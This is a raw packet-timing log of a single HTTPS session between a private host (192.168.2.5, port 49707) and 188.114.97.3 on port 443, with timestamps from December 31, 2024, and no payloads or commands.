Dec 31, 2024 09:25:05.801433086 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.801443100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.801455021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.801481009 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.847254992 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.899977922 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.903525114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.903561115 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.903585911 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.903595924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.903676033 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.910501003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.919043064 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.919068098 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.919178963 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.919188023 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.919961929 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.924896955 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.936219931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.936249971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.936295033 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.936302900 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.936449051 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.940232992 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.947191954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.947218895 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.947244883 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.947253942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:05.948086023 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:05.957819939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.001997948 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.002026081 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.002058983 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.002069950 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.002299070 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.004628897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.008573055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.008604050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.008630037 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.008630991 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.008641005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.008686066 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.014867067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.014946938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.014952898 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.020721912 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.021603107 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.021609068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.026634932 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.026702881 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.026710033 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.038857937 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.038971901 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.038980007 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.047954082 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.047986031 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.048010111 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.048016071 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.048109055 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.051059008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.051177025 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.051182985 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.057128906 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.057236910 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.057243109 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.063411951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.063638926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.063646078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.069160938 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.069503069 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.069509983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.078336954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.078779936 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.078789949 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.079082012 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.083681107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.083904982 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.092083931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.092148066 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.096689939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.096754074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.102688074 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.102819920 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.106147051 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.106247902 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.111696959 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.111740112 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.117434978 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.117662907 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.120846987 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.121279955 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.124444962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.124511003 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.130496979 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.130614042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.136188984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.136482954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.136775017 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.136781931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.137132883 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.139712095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.139812946 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.143013954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.143120050 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.146053076 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.146114111 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.149662971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.149709940 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.152682066 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.152764082 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.156049013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.156160116 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.159250021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.159354925 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.162822008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.162925005 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.181298018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.181561947 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.181591988 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.181598902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.181626081 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.181710958 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.181792974 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.181799889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.181843042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.182348013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.182420015 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.183965921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.184092999 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.185728073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.185837030 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.189251900 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.189466000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.191706896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.191800117 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.196432114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.196604013 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.197171926 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.197506905 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.200092077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.200217009 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.202835083 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.203059912 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.205972910 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.206083059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.208436012 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.208839893 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.212836981 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.212910891 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.215262890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.215415001 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.218055010 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.218164921 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.222167969 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.222282887 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.223373890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.223458052 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.225368023 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.225455999 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.227685928 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.227787971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.229609013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.229706049 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.231501102 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.231563091 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.235518932 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.235631943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.235687017 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.236433029 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.237230062 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.237401009 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.240261078 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.240376949 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.248554945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.248563051 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.248667002 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.249454975 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.249536991 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.252710104 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.252813101 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.252859116 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.252938986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.254717112 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.254777908 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.256573915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.256681919 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.258054972 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.258128881 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.259408951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.259512901 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.262053013 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.262113094 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.263636112 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.263686895 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.266882896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.266942978 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.269999981 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.270426035 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.270512104 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.270519018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.271496058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.271548986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.271555901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.272948027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.272994995 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.273000956 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.274492025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.274544001 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.274549961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.278915882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.278981924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.278989077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.279172897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.279222965 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.279230118 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.281116009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.281168938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.281176090 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.281261921 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.284096003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.284163952 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.285284996 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.285334110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.286618948 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.286675930 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.288433075 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.288511992 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.289453983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.289516926 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.290782928 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.290828943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.292054892 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.292112112 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.293370962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.293436050 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.295073986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.295886993 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.295991898 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.296055079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.297338009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.297416925 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.299555063 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.299608946 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.299921989 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.299973011 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.302146912 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.302198887 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.304923058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.304984093 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.305039883 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.305083036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.310184002 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.310236931 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.310342073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.310389042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.310452938 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.310503006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.316447020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.316502094 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.316593885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.316626072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.316648006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.316654921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.316745043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.335241079 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.335275888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.335299015 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.335306883 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.335346937 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.335370064 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.335407972 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.335453987 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.336108923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.336227894 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.336291075 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.336352110 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.339355946 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.339412928 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.339540005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.339589119 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.339716911 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.339781046 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.346334934 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.346398115 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.346479893 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.346530914 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.350416899 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.350476027 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.350593090 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.350644112 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.350666046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.350709915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.356832027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.356874943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.356930971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.356975079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.357134104 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.357181072 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.357443094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.357490063 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.361373901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.361427069 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.361526012 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.361586094 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.365597963 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.365664005 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.365789890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.365823984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.365837097 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.365844011 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.365895987 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.370796919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.370856047 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.370994091 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.371045113 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.371052980 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.375200987 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.375237942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.375258923 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.375266075 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.375298977 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.375324965 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.375534058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.375585079 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.378985882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.379024982 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.379046917 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.379054070 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.379098892 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.383079052 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.383115053 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.383145094 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.383148909 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.383203983 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.386804104 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.386852980 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.386972904 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.387021065 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.391742945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.391841888 CET	49707	443	192.168.2.5	188.114.97.3
